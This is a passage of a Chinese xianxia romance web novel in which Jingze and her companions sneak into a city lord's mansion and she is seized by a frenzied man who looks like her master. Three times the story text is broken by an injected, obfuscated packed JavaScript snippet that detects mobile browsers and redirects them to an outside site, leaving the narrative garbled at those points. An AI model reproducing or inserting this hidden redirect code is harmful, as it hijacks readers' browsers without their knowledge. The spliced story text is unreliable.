景泽一时语塞,竟无言以对,只气得瞪着他,说不出话来。 黑袍公子逗某人的目的达到,自袖中取出一方素色锦帕,抬手轻轻拭去景泽额角渗出的冷汗,动作轻柔,语带无奈:“我就这般吓人?吓得你冷汗都出来了?你我并非初见,我若真心对你不利,上次便已动手,想来,你终究是信不过我。” 景泽心中暗自腹诽:废话,不过两面之缘,萍水相逢,谁又能轻易交付信任? 她心中所想未曾出口,黑袍公子却似洞悉一切。 “你可是在想,你我仅有两面之缘,何来信任可言?” 景泽大惊,抬眼望他,满眼不可置信:“你……你能听到我心中所想?” 黑袍公子神色诚恳道:“不能。” 但她由他一手照料长大,她的一颦一笑、一言一行、一思一念,他皆了如指掌,这世间之人,再无谁比他更懂她的心思。 一旁江染、蔡乔瞧着二人对话,只觉诡异万分,其间既有暗流涌动的危险,又有儿女情长的暧昧,看得他们一头雾水。 经过江染一通琢磨,他悟出了一个十分可怕的真相,这黑袍公子定然对景泽有意思!等等,若景泽能把这般顶尖高手搞到手,日后他们在裂陆六城,岂不是横行无忌,无人敢欺? 正思忖间,便听黑袍公子忽然开口,语气之中藏着几分不易察觉的期待: “姑娘可想好,日后该如何称呼我?上次分别时,姑娘可是答应过我,再次见面要亲口唤我的,可不能说话不算话。” 景泽早将此事抛诸脑后,骤然被问,一时哑然,狡辩道:“那个……你得先告知我你的姓名,我才知道该怎么称呼你,对不对?” 黑袍公子故作惊讶:“是么?怎么说?” 景泽双手抱臂,下巴微扬,一本正经解释道:“打个比方吧,假设你告诉我你叫‘张飞’,那我就可以在‘张飞’的基础上,称呼你为‘小张’、‘小飞’,或者‘小张飞’等等……懂了么?” 黑袍公子温柔一笑,眸中暖意流转,轻声叹息:“只是可惜了,我素来无名无号,恐怕不能告诉姑娘了,不如姑娘为我现取一个?你性子纯良,取的名字,定然雅致动听。” 景泽小脸一红,以为自己听错了,指着自己道:“我?” 江染闻言,心中唏嘘不已,愈发同情云逍了,这般顶级魅魔横空出世,云逍此番,当真是毫无胜算。 见景泽暂无危险,江染当即朝蔡乔使了个眼色,二人快步上前,将晕死的云逍扶起,悄无声息地挪出了济世堂,有意给二人留出独处空间。 景泽全然不知自己已被队友“出卖”,望着黑袍公子,满心诧异:“你怎会没有名字?你肯定在骗我!我不信!” 这般修为盖世的顶尖强者,纵横整个修仙界,怎可能连姓名都没有?退一万步讲,即便他没有名字,也轮不到她来取名啊!她算老几? 黑袍公子挑眉,循循善诱:“真的,你为我取一名,我便有了,你给我取什么,我就叫什么,如何?” 景泽心中了然,今日若不给这黑袍公子取个名字,此人定然纠缠不休,当下便收敛心神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555194|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细细思索起来。 见她蹙眉沉吟,半晌不语,黑袍公子也不催促,只静静伫立一旁,目光温柔地望着她,提醒道: “姑娘可得好好取,日后他人若问起我名字的由来,我可是会把姑娘供出来的。” “知道了,知道了……” 过了片刻,景泽眼中灵光一闪:“有了!我见你常着黑衣,身形挺拔,容貌清俊不凡,往后,我便唤你‘清隽’,如何?” 虽不知“黑衣”与“清隽”有何干系,但黑袍公子听罢,眼中却掠过一丝极盛的笑意: “好名字,我甚喜之。” 得了心仪之名,清隽不再纠缠,化作了一团黑气。 景泽伸出手想要去触碰那黑气,那黑气轻轻在景泽指尖缠绕了一瞬,随即消散无踪。 望着黑气消散的方向,她想,他果然是来讨称呼的。 · 清州城主府外,人声鼎沸。 城主秦清风德披城里,威望素著,每日府外求见者络绎不绝,皆盼得城主一助。 景泽四人亦是其中一员,此番专程前来,只为寻那单不群的踪迹,打探其下落。 原是昨日午后,四人途经街巷,忽被一位算命瞎子拦了去路。 彼时他们本欲径直离去,怎奈那瞎子开口,竟能精准道出四人姓名、生辰八字,且分毫不差。 寻常算命术士,不过信口胡诌,说些模棱两可之语,可这老瞎子所言,皆为精准细致之事,绝非偶然。 四人心中讶异,想着耽搁不了片刻,便驻足停下,会一会这奇人。 只见老瞎子掐指捻须,缓缓道:“老朽掐算一番,诸位近日,正在寻人,可是如此?” 四人相视一眼,心道此人果然有几分本事。 老瞎子思索片刻,又道:“你们所寻之人,乃是男子,没错吧?” 蔡乔心中一急,连忙上前:“老先生可知此人下落?” “姑娘莫急,且听我慢慢道来。” 老瞎子故作高深,卖了个关子。 “老朽还知晓,此人与姑娘有血海深仇,对不对?” 单不群害得蔡乔家破人亡,此仇不共戴天,蔡乔每每想起,便恨得咬牙切齿,当即朗声道: “老先生若有条件,尽管开口,只要能告知此人下落,蔡乔万死不辞!” 老瞎子闻言,抚须大笑,目光径直落在景泽身上:“消息告知诸位倒也无妨,只是有一条件,三日后,城外杀仙谷,这位姑娘需独自赴约,不得有旁人陪同。” 蔡乔当即不允,急道:“仇人乃是与我有过节,寻仇的是我,为何偏要景泽前往?我去赴约难道不行?” 老瞎子缓缓摇头,语气坚定:“老朽只要这位姑娘去。” 蔡乔还要再争,景泽却上前一步,拦住了她,神色坚毅,目光决然:“这有何难?我应下便是,还请老先生告知,那仇人究竟身在何处?” 老瞎子闻言,递过一张纸条,景泽展开一看,上面只写六个字:清州城城主府。 此时城主外人山人海,男女老少,挤得水泄不通,皆是求见城主之人。 城主日理万机,哪有精力一一接见,加之近日与城主夫人争执,心情郁结身染小恙,更加不得空。 管事见状,便想了个法子,每日天亮,他们会在府门前放置一木盒,让众人猜测盒中之物,唯有猜中,才能入府求见。 这般法子,刁钻古怪,一上午过去,竟无一人猜中。 管事正暗自得意,忽见远处驶来一辆装饰极尽奢华的马车,见状,管事当即换了神色,满脸堆笑着快步上前,亲自开启府门,躬身相迎。 马车缓缓驶近,在即将驶入府门之际,一阵清风拂过,车帘被掀起一角。 景泽无意间抬眼望去,看清车内之人容貌,登时瞳孔骤缩,心头掀起惊涛骇浪。 那马车里端坐的人,正是他们要抓的单不群! 33. 惊魄 此刻天色已然黑尽,清州城笼罩在浓稠的夜色之中,百姓们早已熄灯歇下,街道上空空荡荡,偶尔有几声犬吠从深巷里传出,显得格外寂寥。 打更的更夫,提着灯笼,敲着梆子,沿着街巷缓缓走过。 “咚!天干物燥,小心火烛!” 那更夫身形干瘦,走在夜色里愈发显得单薄,路过城主府时,忽想起近日城中流传的闲话,说是城主与夫人吵了架,闹得不可开交。 好奇心驱使他放慢脚步,偷偷朝着府门那边瞄了一眼。 但见四个牛高马大的护卫分列两侧,身披甲胄,腰佩长刀,站得笔直如松,气势凌人,让人不敢靠近。 更夫目光甫一触及四人冷冽眼神,便如触炭火,慌忙缩回低头疾行,手中梆声登时乱了章法。 堪堪行至府墙偏僻处,忽闻身后传来窸窸窣窣之声,细碎轻微,初时只道是野猫野狗觅食,并未在意,脚步微顿依旧前行。 岂料片刻之后,那声响再度响起,且愈发逼近,只在身后咫尺之间。 更夫心头一紧,正欲回头察看,忽有一只手,轻轻拍在他肩头。 “……!” 这一掌力道不重,却吓得他浑身僵立,周身血液仿若瞬间凝固。 他缓缓转头,只见一颗头颅悬于眼前,满头黑发如瀑,遮尽面目,夜风拂过,发丝轻扬,映着天边惨淡月色,阴森鬼气,扑面而来。 更夫面色刹那惨白,全无一丝血色,连滚带爬后退数步,喉间迸出撕心裂肺的惨叫:“救命啊啊啊!有鬼啊啊啊!有鬼啊啊啊啊啊啊!”言罢慌不择路,跌跌撞撞奔入巷深处,转瞬便没了踪影。 江染抬手拨开覆面长发,望着更夫逃去方向,无奈撇嘴:“这厮忒也胆小,我预备的台词还未说出口,他竟这般狼狈逃窜了,当真无趣。” 蔡乔自巷后缓步而出,斜倚墙垣,唇角噙着一抹浅笑,缓缓道:“无妨,我们本意便是借他之口,震慑旁人,经他这一闹,今夜此间,再无人敢贸然靠近,正好行事。” 江染抬眼望向苍穹,夜空漆黑如墨,乌云蔽月,半点星光皆无,不由眉头微蹙,语气含忧: “不知景泽与云逍二人,可探得消息。我本欲与景泽同行,他偏要互换,并非我小觑他,你看他一身娇养,细皮嫩肉,手无缚鸡之力,此番同行,只怕要成累赘。” “啊咻!” 墙头上,云逍忽的打了个喷嚏,下巴重重磕在墙砖之上,险些咬断舌头。 他揉了揉发酸的鼻子,满心愤懑,低声嘟囔:“定是江染在背后说我坏话!这厮素来与我不对付,一日不编排我,便浑身不自在!” 景泽立于墙内,仰头望他,已然等候多时,本来他们约好一同翻墙入府,可云逍趴在墙头,迟迟不敢跃下。 “这墙头莫非有甚妙处,竟让你这般留恋,迟迟不肯下来?”景泽忍不住调侃他, 云逍哪里是不愿下来,他是心中胆怯。 他自幼生长于世家,锦衣玉食,莫说翻墙,便是爬树也未曾试过,这墙头虽不算极高,于他而言,却是莫大难关。 只是他素来心高气傲,嘴上绝不肯认怂: “我、我乃是要寻一个从容身姿,再一跃而下,若是姿态狼狈,被阿泽妹妹见笑,岂不失了体面?” 景泽也不拆穿,上前两步,张开双臂,承诺道:“你只管跳下,我自会接住你。” “退后!”云逍脸涨得通红,高声喝道。 景泽依言后退数步,目光打量着他,淡淡问道:“你当真行么?” “如何不行!” 云逍只觉一身傲气被人轻视,胸膛一挺,朗声道:“我云逍堂堂七尺男儿,岂能让女子相护?士可杀不可辱!”言罢,深吸一口气,闭紧双眼,牙关一咬,纵身跃下。 只听“砰”的一声闷响,云逍重重摔落在地,来了个结结实实的狗啃泥,脸颊贴地,半晌动弹不得。 景泽心头一惊,连忙蹲下身去扶,急声问道:“你如何了?可曾摔伤?” 云逍只觉周身筋骨欲裂,膝盖、掌心火辣辣作痛,口中更是满是泥土腥气,本欲放声呼痛,目光触及景泽眼底真切担忧,心头一暖,硬生生将到了嘴边的哀嚎咽了回去。 他强撑着起身,拍去身上尘土,咧嘴强笑道:“不妨事,这点高度,于我而言不过等闲,便是再跳百次,也伤不得我分毫。” 景泽听他这样说,以为他真的没事,便放下心来。 “你小时候你爹不是常带你来城主府么?你应该比我熟悉这里,你在前面带路,我跟着你。” 云逍点点头,拍了拍衣袍上的土,努力回想儿时记忆。 他爹当年与城主有些交情,逢年过节时常带着他登门拜访,虽然时隔多年,府中的格局大抵还是记得的,他辨认了一下方向,蹑手蹑脚地沿着回廊往前走去,景泽紧随其后。 夜里的城主府格外清静,只有风吹过檐角铜铃的细碎声响。 借着夜色的遮挡,他们很快便潜入了一处偏院,院中花木扶疏,假山错落,看起来是下人们居住的地方。 正走着,前方拐角处忽然传来脚步声,两个男丁提着灯笼,一边走一边低声说着闲话,晃晃悠悠地朝这边过来。 景泽眸光骤然一凝,身形如鬼魅般贴掠而出,悄无声息跟在二人身后。手中短刃轻旋,寒芒一闪而过,只听得一声极轻的嗤响,那两名男丁哼也未哼半句,身子便软软栽倒在地,两只灯笼骨碌碌滚出老远。 躲在柱后的云逍见此情景,倒吸一口凉气,自己喜欢的姑娘果真与众不同,出手干脆至极,直叫他背脊生出阵阵寒意。 云逍自柱后缓步踏出,目光飞快扫过四下周遭,确认再无旁人踪迹,方才俯身低声问道:“你这是在做什么?” 景泽并不答话,手上动作迅捷无比,三两下便扯开其中一名男丁衣衫。 眼看她伸手便要去解那人腰带,云逍面颊霎时通红,慌忙伸手拦阻:“你暂且住手!” 景泽不明所以地抬头朝他看去。 “?” 云逍意识到景泽要做什么之后,撸起袖子,一把将景泽从地上拽了起来,推到一边。 “去去去!后边儿休息去!这是你一个女孩子能看的么?让我来!” 景泽翻了个白眼,一脸鄙夷:“我看过的春宫图加起来比你人都高,什么没见过?用得着你替我害臊?” 云逍手上的动作猛地一顿,又羞又恼,不可置信地瞪大了眼睛:“你……你身为女子,竟爱看春宫图?而且还看那么多!可那不是我们男子才喜欢看的?” 景泽哂笑一声:“不管男子还是女子,都是人,是人就有七情六欲,看春宫图怎么了?这不是很正常的事?你一个大男人,怎么比我还扭扭捏捏?” 云逍满脸哀思,心底一片凄凄惨惨戚戚。 他想起坊间那些老话,女人三十如狼,四十如虎,五十坐地能吸土。 景泽才十六岁,欲望就这么强,以后还得了?万一将来他满足不了她怎么办? 想到这里,云逍心里打了个寒颤,看来他得保重身子了。 不多时,二人换过那两名男丁衣衫,衣袍尺码宽大,穿在身上颇不合身,然夜色昏沉,倒也能勉强遮掩身形,蒙混过关。 唯余下两具尸身,处置起来甚是棘手,若是就此弃在此处,一旦被巡夜之人察觉,整座城主府立时便会戒备大乱。 二人正蹲在地上暗自筹谋,忽听得远处一声厉声喝来: “谁?谁在那里!” 景泽和云逍同时抬头,只见数名城府巡卫手持刀枪,快步疾奔而来,火把的光芒映得他们脸上表情格外凶狠。 完了,被发现了。 景泽和云逍二话不说,拔腿就跑,城主府里弯弯绕绕,回廊交错,亭台相连,他们什么也顾不得了,看到岔道就往前冲,看到拐角就转弯,跑得上气不接下气。 身后的脚步声越来越近,火把的光越来越亮,几个巡逻穷追不舍,边追边喊:“站住!别跑!” 景泽心知这般一味奔逃,早晚难逃围困,目光匆匆一扫,瞥见身侧一片茂密灌木丛,当机立断,一手扣住云逍肩头,二人双双纵身跃入丛中。 此处草木繁密交错,再加夜色遮掩,若无人刻意细查,断然难以察觉踪迹。 情势仓促,景泽携云逍跃落之时身形不稳,整个人直直压在云逍身躯之上。 四下漆黑幽暗,云逍只觉景泽近在咫尺,温热气息丝丝缕缕拂在自己面颊,只需微微抬头,便可相触她唇瓣。 一念陡生,云逍心头轰然一震,暗自愧悔。 自己饱读圣贤书十几年,怎会生出这般鄙陋杂念?他心下擂鼓般狂跳,喉间干涩,恍惚间张口正要出声:“阿……” 字音方才吐出一丝,景泽出手迅捷如电,一掌牢牢捂住他口唇,力道沉实,令他分毫声响也不得外泄。 转瞬之间,杂乱脚步声已向着此处聚拢,火把火光穿透枝叶缝隙,点点斑驳,落于二人身上。 只听得外头巡卫语声起落: “方才明明见那两人奔至此处,怎地不见了人影?” “莫不是绕去前头院落了?” “前头?给我继续追!便是将整座城主府翻遍,也要拿住两名刺客!” 夜风穿廊而过,吹得灌木丛枝叶簌簌轻响。 景泽与云逍二人一颗心直悬至喉间,满身冷汗浸透衣衫,双双屏气凝息,分毫不敢动弹,只盼一众巡卫速速离去,方能脱身。 一众手下听得号令,便要提步疾追,那巡卫头领忽的抬手一拦,沉声道: “且慢。” 众人脚步尽数顿住。 那头领神色凝重,方才隐约听得丛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这时候天边已经泛起了鱼肚白,夜色正在一点一点消退,好些侍女已经开始在府内奔走了起来。 他俩穿着门丁的衣服混在里面,乍一看倒也不怎么突兀。 云逍行数步,忽觉身旁景泽步履拖沓,身形远不及先前利落,凝目细看,赫然望见景泽右臂衣袖破开一处偌大血洞,深色衣料早已被鲜血浸透,牢牢黏在皮肉之上,触目惊心。 云逍面色骤变,急声道:“你中箭了!” 景泽垂眸望向手臂,神色淡然:“不过皮肉外伤,并无大碍。” “如此严重,怎会无碍!” 云逍急得声音都变了调,连忙扶着她靠着旁边的花台坐下,手忙脚乱地撕下自己的衣襟给她包扎。 只是他从小娇生惯养,哪里做过这种出粗活,布条缠得乱七八糟,不是太松就是太紧,打了半天结也没系好。 景泽看得不耐烦,皱着眉道:“你先别管我了,你快去打听打听。” “可是你怎么办?我总不能丢下你一个人吧?” 云逍死活不肯走,手里还攥着那条皱巴巴的布条。 景泽一下子就怒了:“我们好不容易才混进来,江染他们还在外面守着,就因为我受了点皮肉伤,你就不去了?别这样,快去!不然我们这一趟可就白来了!我这伤也白受了!亏死了!” 云逍咬了咬牙,终于站起身来,往前走去。 走到回廊拐角处,他看见一个端着托盘的美貌少女正从对面走来,那少女约莫十五六岁,生得明眸皓齿,梳着双环髻,是个侍女的模样。 云逍深吸一口气,换上最和煦的笑容,上前一步拦住了她: “小姐姐,可否行个方便,向你打听个事?” 那美貌少女冷不丁被人拦住,先是一惊,抬眼一看,面前的公子生得丰神俊朗、面如冠玉,一双桃花眼含笑含情,像极了清州城里那位有名的云氏小公子。 她的脸“唰”地红了,垂下眼帘:“公子只管问便是……” 景泽坐在远处的花台边,离得太远,听不清他们在说什么,只觉得百无聊赖,目光不经意间一瞥,心头猛地一跳。 几个巡逻正朝他们这边走来,黑压压的一队,少说有七八个人,火把已经换成了白天的长刀,他们一边走一边四处张望,目光如鹰隼般锐利,显然是在搜查刺客。 云逍那边看着倒是不打紧,他跟少女说话的模样坦坦荡荡。 反观自己手臂上有血洞,身上的衣袍是男丁的样式,可脸分明是女子的脸,处处都是破绽,处处都惹人生疑。 巡逻越走越近,景泽当机立断,悄无声息地站起身来,往后退去。 她连退了好几步,脚下忽然被台阶绊了一下,身形一晃,险些摔倒。 便在她踉跄着稳住身形的当口,身后的门忽然无声无息地打开。 一只手臂陡然从门内然伸出,铁钳般箍住她的腰,另一只手死死捂住她的嘴,不容她有半分挣扎,硬生生将她拖入门后的无边黑暗之中。 34. 金环 “原来如此,多谢姑娘相告。” “公子不必客气。” 晨风料峭,携着庭院余芳,自回廊深处徐徐而来,自云逍后颈拂过。 他下意识回眸望去,花台空空如也,方才景泽所在之处,唯有几片落叶随风打转,凄清孤冷。 等等,景泽不见了! 云逍双目骤缩,心头猛地一沉,一股惶急之意瞬间涌遍四肢百骸。 身旁侍女见他面色刹那惨白,忙趋步上前,低声道:“公子怎地如此神色?可是奴家言语有失,冒犯了公子?若有不当之处,公子切莫怪罪……” “无妨,与你无干!” 云逍连连摆手,话音未落,身形已然掠出。 “在下尚有急事,就此别过,后会有期!” 言罢,他赶忙朝着回廊外疾奔而去,转瞬便消失在晨光之中,只留一道仓促背影。 侍女怔怔望着那青衫远去的方向,伫立良久,直至那抹身影彻底融入晨曦,再寻不见踪迹,方才轻叹一声,敛了目光。 她心中暗自懊恼,方才竟忘了问此人姓名,此番一别,江湖茫茫,不知日后是否还能再见。 · 砰的一声闷响! 景泽被人猛地拽入屋内,后背重重撞在墙上,震得周身气血翻涌,五脏六腑仿若移位。 剧痛尚未蔓延,一只骨节分明、力道千钧的大手,已然死死捂住她口唇,将已到嘴边的惊呼尽数堵回喉间。 “嘘,不要出声。” 耳畔传来低沉男声,带着几分不容抗拒的威压。 “呜呜……”景泽怕得要死,疯狂挣扎,双手死死扣着那只大手,奋力撕扯,可待她抬眼看清来人面容,周身所有挣扎骤然僵住,再不敢动分毫。 师……师尊?! 她双目圆睁,眼前之人,剑眉入鬓,眼尾微扬,一双眸子深邃难测,妖冶逼人。 师尊的容貌,她断不会认错。 只是往日里师尊眼眸清冷出尘,自持淡然,而眼前这双眸子,没有半分往日模样,只剩滔天癫狂与暴戾,如翻涌血海,几乎要溢将出来。 男子将她死死抵在墙上,居高临下俯瞰,两人相距咫尺,景泽甚至能清晰嗅到他周身萦绕的松木清香,那是师尊独有的气息。 刹那间,景泽眼眶一热,泪水险些夺眶而出,心头又惊又疑,喃喃自语: “你当真是我师尊么……” 男子双眸之中,忽地燃起两簇猩红火焰,宛若地狱业火。捂在她唇上的大手缓缓下移,指腹擦过她柔嫩下颌,最终停在她纤细脖颈之上。 下一刻,力道陡然收紧! 景泽呼吸瞬间断绝,脑中一片空白,耳畔嗡嗡作响,无边恐惧如潮水般席卷全身,浸透四肢百骸。 她惊惧望着眼前之人,面容分明是师尊,可出手却狠辣至极,毫无半分情面,丝毫不念师徒情分,此人绝非师尊! 男子指尖愈发用力,竟单手将她凌空提起。景泽双脚离地,身子悬在半空,喉间气息点滴不剩,仿若涸辙之鱼,徒劳张着双唇,却连一丝空气都无法吸入。 她拼尽全身力气,伸手去掰那只铁铸般的大手,可那力道纹丝不动,分毫未减。 颈骨仿若要被生生捏碎,剧痛钻心,景泽拼尽最后一丝气力,喉间挤出细若游丝的二字: “师……尊……” 这二字,仿若一柄利刃,骤然劈开男子混沌癫狂的心神。 只见他那双猩红暴戾的眼眸之中,飞速闪过一丝清明,可这清明转瞬即逝,不过刹那,便再度被滔天戾气吞没。 紧接着,男子神色反复,眸中清明与暴戾交替翻腾,额角青筋暴起,牙关紧咬,周身肌肉剧烈颤抖,显然正承受着极致的痛苦挣扎,神魂仿若被两股力量撕扯,痛不欲生。 僵持片刻,他猛地嘶吼一声,用尽浑身余力,将景泽狠狠甩向一旁。 她尚未缓过神,身后便传来阵阵爆裂巨响,震天动地。 男子掌心聚力,一股狂暴真气横扫屋内,案上花瓶应声炸裂,瓷片四溅;锦绣屏风被真气撕裂,木骨寸寸断裂;实木书柜轰然倒塌,衣物书卷漫天飞舞;墙上挂着的山水画卷,也被气浪掀飞,撕裂两半,残片簌簌落地。 不过须臾之间,原本整洁的屋子,已然一片狼藉,满目疮痍,再无完整之物。 景泽心头一凛,瞬间明了:此人走火入魔,已然失了心智,再留在此地,必遭杀身之祸! 她咬紧牙关,双手撑地起身,踉跄着朝着屋门奔去,只求速速逃离这是非之地。 怎料男子仿若早已洞悉她的心思,身形一晃,快如鬼魅,已然堵在门口,断了她所有退路。 男子逆光而立,周身黑气翻涌,将他的面容衬得忽明忽暗,狰狞可怖,煞气逼人。 “未有本座应允,尔不得离开!” 男子声音低沉沙哑,带着不容置喙的偏执。 景泽心胆俱裂,一步步小心翼翼后退,脚后跟踩在满地碎屑之上,发出细碎声响。 她强压心中惊惧,竭力稳住心神,可声音依旧忍不住发颤:“你……你并非我师尊,究竟是何方妖魔?为何要扮做他的模样!” 男子对她的质问置若罔闻,只是一遍遍重复着刚才的话,声音愈发急促: “未有本座应允,尔不得离开!” “未有本座应允,尓不得离开!” “未有本座应允,尔不得离开!” 景泽后退之际,不慎被碎木绊倒,身子一歪,重重摔倒在地。她撑地欲起,掌心却被碎瓷碾压,冷汗瞬间浸透衣衫。 嘶,真疼。 男子一步步逼近,最终在她面前驻足,居高临下俯视着她,眼眸空洞死寂,宛若一具失了魂魄的狂戾行尸,周身疯魔之气翻涌不休。 他这般模样实在可怕,景泽浑身簌簌发抖,不住往后蜷缩挪动。 “……” 男子目光缓缓下移,最终落在她鲜血淋漓的手指上,那双空洞猩红的眸子里,倏地泛起了一丝极淡的波澜。 随即,他微微俯身,单膝轻落于景泽身前地面。 景泽见他盯着自己伤口,喉头骤然收紧,她曾在修行典籍中读过,走火入魔之人,见血便会愈发暴戾,嗜血成性,此刻见他注目,只道他要再度发难,慌忙将受伤的手藏至身后,紧紧攥住。 可终究还是晚了。 男子一把攥住她的手腕,将其手从身后拉出,低头凝视着那道伤口,猩红眸中映出点点血色。 下一刻,他竟低头,伸出舌尖,轻轻为她舔去上面鲜血,而后用唇将其含住了。 “……!” 景泽浑身骤然一僵,瞳孔微微放大。 指尖被温热唇舌包裹,一股暖意自指尖直抵心底,引得周身泛起细密战栗。 她能清晰感受到,他舌尖轻柔,小心翼翼舔舐着伤口血迹,动作温柔至极,与方才那暴戾癫狂的模样,判若两人。 景泽心中暗道,走火入魔之人,果然嗜血成性。 可偏偏,此人顶着师尊的面容,这般亲昵动作,让她心头乱撞,脸颊瞬间滚烫。 她垂眸望着近在咫尺的男人,一时间竟有些失神,脑海中莫名闪过些春宫图画面,羞得她赶紧移开目光,不敢再看。 便在此时,景泽只觉身子一轻,已然被男子打横抱起。 “你……!”景泽大惊失色,双手本能揪住他的衣襟,挣扎不止。 “放开我!你要干什么!男女授受不亲,亲了就得成亲!我师尊要是知道了,绝不会饶你!他一定会杀了你!” 男子却全然不顾她的挣扎,步履沉稳,径直走向床榻,随手将她丢进被褥之中。 景泽慌忙缩至床角,双手抱膝,满眼警惕,一边颤抖一边凶巴巴道:“我警告你啊!我师尊超厉害的!你……你最好收起对我的心思!” 男子不言,抬手解开衣袍系带,将外袍随手丢在地上,一双漆黑的眸子盯着她:“呵?你师尊?本座迟早会让你明白,本座和你师尊谁更厉害!即便你师尊来了,本座也不会放你走,任何人都别想从本座手里带走你!” 慌乱之际,景泽脑中灵光一闪,此人神志不清,执着于她是否离开,若顺着他的意思,应允留下,或许能暂避一避。 当即伏在床榻上,高呼道:“魔君大人!小的错了!小的真的错了!没有您的准许,谁能带走小的啊!您莫要再动怒!” 男子脱衣的动作骤然一顿,猩红眸中的戾气,瞬间消散了几分,眼神微动,看向景泽,似在甄别她话语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560432|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的真假。 景泽见状,心中一喜,赶忙趁热打铁:“真的!往后一切都听您的,只要您不同意小的走,任何人都带不走小的,您消消气,保重身子要紧。” 男子凝视她片刻,眸中戾气褪尽,收起动作,掀开锦被,往床榻上一躺,与方才判若两人。 景泽缩在床角,见他似要歇息,悬着的心稍稍落地,小心翼翼嗫嚅出声: “那个……您既要安歇,小的便不多叨扰了,这就退下……” 话音未落,她手脚并用地,只想跨过男子身侧溜下床榻脱身。 孰料足尖方才堪堪触到地面,身后便砸来一道冷冽话音。 “站住!” 景泽浑身一僵,硬生生把脚收了回来,转过身来,脸上挤出一抹牵强笑意:“您……您还有何吩咐?” 男子掀开被角,伸手轻拍身侧位置,语气带着不容置喙的威压: “过来躺下。” 这是要她陪睡?景泽面色骤变,心下纷乱焦灼,连连摆手:“不好不好!这样不好!不合礼数!您就是给小的一百个胆子,小的也不敢占魔君大人的便宜……” 话音未落,男子眸中戾气再度翻涌,沉声喝道:“莫要让本座重复第二遍!还有,别叫本座‘魔君大人’!本座不是魔君!” “……!” 景泽心头一惧,看着他再度变得狰狞的神色,再不敢推辞。 贞洁诚可贵,性命价更高,一咬牙,豁出去般开始解腰带脱衣服。 男子已然不耐,长臂一伸,攥住她的手腕,用力一拉。 天旋地转间,景泽已然躺在男子身旁,后脑勺枕着他结实的手臂,周身被淡淡的松木气息包裹,无处可逃。 男子侧身躺着,目光缓缓描摹过她的眉眼,暴戾混沌之下,竟隐隐藏着一丝极淡的委屈,半晌,他烦躁开口: “转过身来,看着本座。” 景泽深吸一口气,心头突突狂跳,万般局促之下,方才徐徐转过身。 二人相隔尚远,男子便微微俯身靠近,景泽下意识往后缩了一寸,他便跟进一寸,步步紧逼,周身清冽气息层层包裹而来,缠得人呼吸都滞涩几分。 几番退让,男子耐心尽失,一手稳稳揽住她纤细腰肢,猛地将人扣入怀中。 二人相距不足三寸,温热呼吸丝丝缕缕缠在一处。 “再躲,本座便拧下你的头颅。” 景泽浑身僵直,再不敢分毫动弹,索性紧紧阖上双目。 过了会儿,一片温热轻轻落于额间。 景泽心头一颤,骤然抬眼,只见男子双目轻阖,额头静静相抵,一身凌厉戾气尽数消散,眉目间漾着几分难得的柔和静谧。 他就这样睡着了?! 景泽小心翼翼感受着,确定他气息平稳,已然睡熟,暗自松了口气。 正欲借着这份间隙缓缓挪开身子,腰间揽着她的手臂却骤然收紧,力道牢牢圈锁,将她想脱身的念想断了个干净。 景泽万般无奈,只得静静偎着不动。 耳畔是他沉稳有力的心跳,窗外轻响的鸟鸣随风漫入,连日紧绷的心神缓缓松弛,倦意丝丝缕缕漫上四肢百骸,眼皮愈发沉涩,终究抵不过困意,缓缓闭眸沉睡。 · 再睁眼时,一张熟悉的脸庞映入眼帘,是云逍。 云逍趴在床边,双手托腮,双目圆睁,满眼惊喜,见她醒来,压低声音:“阿泽妹妹,你可算醒了!我打探到单不群的消息了!” 景泽猛地坐起身,睡意瞬间全无,环顾四周,阳光透过窗棂,洒下满地柔光,昨夜被损毁的家具、碎瓷残片,尽数消失不见,屋内陈设焕然一新,规整如初。 景泽掀开被子下床,双脚刚触地面,左脚踝忽感一阵冰凉硌意,顺着肌肤蔓延至心底。 她心头猛地一沉,慌忙撩起裤脚,定睛望去,左脚踝之上,不知何时,竟多了一枚精致金环。 那金环通体流光,符纹细密,严丝合缝扣在她纤细的脚踝上,松紧适宜。 景泽盯着那枚金环,浑身血液仿若瞬间凝固,心底掀起惊涛骇浪。 那个与师尊容貌一般无二的男子,到底是谁?他为何要给自己戴上这枚符文金环?而且,她身上的伤居然全都痊愈了! 35. 深院 云逍眼尖,早瞥见了景泽脚踝上那枚小巧金环,不由得好奇道:“阿泽妹妹,你这脚踝金环,是何处得来的?瞧着绝非寻常人家物件。” “我也不知。” 景泽垂眸瞥了眼踝间金环,轻轻摇头,沉默片刻,便转了话头:“你怎会寻到此处?” 云逍闻言,立刻将前事细细道来:“适才我见一道身影闪进此屋,身形步态与你一般无二,心下着急,当即追了进来。进得屋来,却见你卧于榻上,一动不动,教我好生受惊。” 景泽想起适才种种,心头一团乱麻,千头万绪,竟不知从何说起,索性岔开话题: “你先前言道,打探到单不群的消息,什么消息?” 云逍这才想起正事,一拍额头,连忙将从府中侍女处探得的消息,一五一十道出:“这单不群,身份着实不一般,乃是清州城主秦清风的义子,自幼养在城主府中。” 